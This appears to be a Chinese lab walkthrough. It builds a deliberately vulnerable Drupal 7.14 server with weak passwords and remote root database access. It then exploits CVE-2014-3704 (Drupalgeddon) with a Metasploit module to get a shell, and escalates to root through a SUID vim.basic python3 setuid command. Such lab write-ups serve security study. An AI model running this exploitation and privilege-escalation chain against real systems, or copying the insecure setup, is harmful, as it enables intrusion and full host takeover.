目录
一、环境准备
1、所需运行条件
(1)目标主机
| 名称 | 值 |
|---|---|
| 操作系统 | Ubuntu Server 16 |
| 中间件 | PHP7.0 + Apache2.4.52 |
| 数据库 | MySQL 5.7 |
(2)攻击机
| 名称 | 值 |
|---|---|
| 操作系统 | Kali Linux 2023.4 |
2、安装依赖
Step1:更新系统
bash
# 更新
sudo apt update
Step2:安装MySQL
bash
$ sudo su root
$ groupadd mysql
$ useradd -r -g mysql -s /bin/false mysql
$ apt install libncurses5 -y
$ wget https://downloads.mysql.com/archives/get/p/23/file/mysql-5.7.33-linux-glibc2.12-x86_64.tar.gz
$ tar -zxvf mysql-5.7.33-linux-glibc2.12-x86_64.tar.gz -C /usr/local/
$ mv /usr/local/mysql-5.7.33-linux-glibc2.12-x86_64 /usr/local/mysql
$ echo "[client]
port=3306
socket=/tmp/mysql.sock
[mysqld]
port=3306
socket=/tmp/mysql.sock
key_buffer_size=16M
max_allowed_packet=8M
log_error = /usr/local/mysql/logs/error.log
log_error_verbosity = 2
general_log = 0
general_log_file = /usr/local/mysql/logs/mysql_query.log
slow_query_log = 1
slow_query_log_file = /usr/local/mysql/logs/mysql_slow.log
log_queries_not_using_indexes = 1
long_query_time = 2
slow_launch_time = 2
log-slow-admin-statements = 1
[mysqldump]
quick" > /etc/my.cnf
$ mkdir -p /usr/local/mysql/logs
$ chown -R mysql.mysql /usr/local/mysql/logs
# 初始化MySQL,仅需执行一次,下次启动时无需此操作
$ /usr/local/mysql/bin/mysqld --initialize --user=mysql
# 仅初始化时操作,下次启动时无需操作
$ /usr/local/mysql/bin/mysql_ssl_rsa_setup
# 后台启动MySQL,重新打开时需执行此命令
$ /usr/local/mysql/bin/mysqld_safe --user=mysql &
$ echo 'export PATH=$PATH:/usr/local/mysql/bin' >> /etc/profile
$ source /etc/profile
$ ps -ef | grep mysql
# 出现如下提示,说明MySQL已成功启动
root 2038 1766 0 10:55 pts/0 00:00:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --user=mysql
mysql 2282 2038 0 10:55 pts/0 00:00:00 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/logs/error.log --pid-file=basic2.pid --socket=/tmp/mysql.sock --port=3306
root 2315 1766 0 10:56 pts/0 00:00:00 grep mysql
$ cat /usr/local/mysql/logs/error.log | grep "temporary"
# 在输出的日志中,0mpK:4uSN22<表示的是登录MySQL的密码
2026-04-23T14:55:41.750159Z 1 [Note] A temporary password is generated for root@localhost: un<9iRf5.sVy
$ mysql -u root -p
# 修改root的登录密码
mysql > alter user 'root'@'localhost' identified by '123456';
mysql > use mysql;
mysql > GRANT ALL ON *.* TO root@'%' IDENTIFIED BY '123456';
mysql > flush privileges;
Step3:安装PHP依赖(含Apache)
bash
$ sudo apt install -y php7.0 php7.0-cli php7.0-common php7.0-mysql php7.0-dom php7.0-gd php7.0-xml php7.0-mbstring php7.0-simplexml php7.0-zip php7.0-curl
开启开机自启
bash
$ sudo systemctl enable apache2
Step4:安装GCC
bash
$ sudo apt install gcc
3、部署drupal-7.14
Step1:部署项目
bash
# 下载项目的TAR包
$ wget https://ftp.drupal.org/files/projects/drupal-7.14.tar.gz
# 将下载好的drupal的TAR包解压至apache的web部署目录
$ sudo tar -zxvf drupal-7.14.tar.gz -C /var/www/html
$ sudo mv /var/www/html/drupal-7.14 /var/www/html/drupal
# 修改权限,使apache拥有drupal的权限
$ sudo chown -R www-data:www-data /var/www/html/drupal
# 编辑 PHP 配置文件
$ sudo nano /etc/php/7.0/apache2/php.ini
mbstring.http_input = pass
mbstring.http_output = pass
Step2:新建数据库
bash
$ mysql -u root -p
-- 创建数据库(使用utf8mb4字符集,支持更全的Unicode)
mysql > CREATE DATABASE drupal CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
-- 创建用户并设置密码(将'123456!'替换为强密码)
mysql > CREATE USER 'drupal'@'localhost' IDENTIFIED BY '123456!';
-- 授予用户对drupal数据库的所有权限
mysql > GRANT ALL PRIVILEGES ON drupal.* TO 'drupal'@'localhost';
-- 刷新权限使更改生效
mysql > FLUSH PRIVILEGES;
-- 退出MySQL
mysql > EXIT;
Step3:配置数据库,填写信息
访问安装地址:
bash
http://192.168.179.131/drupal/install.php

内容填写如下:
数据库名(Database name):drupal
数据集用户名(Database username):root
数据库密码(Database password):123456
数据库地址(Database host):127.0.0.1
数据库端口(Database port):3306
Step4:填写邮箱、昵称等信息,此处随便填后,服务即可运行
说明: 如果出现页面错误,无需担心,本文主要的最终目的是Linux提权,只要Drupal项目能正常运行即可。
二、CVE-2014-3704(Drupalgeddon漏洞)
1、漏洞信息
详情信息:
| 名称 | 值 |
|---|---|
| 漏洞类型 | SQL注入(无需身份验证) |
| 影响版本 | Drupal 7.0 至 7.31(即低于 7.32 的所有 7.x 版本) |
| 漏洞根源 | Drupal 7.x 数据库抽象 API 中的 expandArguments函数未能正确构造预编译语句,导致攻击者可通过精心构造的 HTTP 参数键名(key)实施注入。 |
| CVSS 评分 | 10.0(满分,严重级别) |
在MSF中的搜索名称:
bash
msf6 > use exploit/multi/http/drupal_drupageddon
2、展开攻击
bash
$ msfconsole
msf6 > search drupageddon
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/drupal_drupageddon 2014-10-15 excellent No Drupal HTTP Parameter Key/Value SQL Injection
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/drupal_drupageddon
msf6 > use 0
msf6 > set rhost 192.168.179.131
msf6 > set rport 80
# 如果是放入/var/www/html的根目录而非/var/www/html/drupal/则无需设此变量
msf6 > set targeturi /drupal/
msf6 > show options
msf6 > run
meterpreter > shell
运行效果图:

三、利用SUID提权
Step1:查找可利用SUID/SGID可执行文件
bash
$ find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

Step2:选择/usr/bin/vim.basic进行提权
bash
# 关键的提权命令
$ /usr/bin/vim.basic -c ':python3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-p")'
# 输入shell进入命令行;使用python命令进入交互式模式
$ python3 -c 'import pty; pty.spawn("/bin/bash")'

说明:Ubuntu server 18及之后的版本,想要通过SUID方式提权将变得更加困难,或无法操作!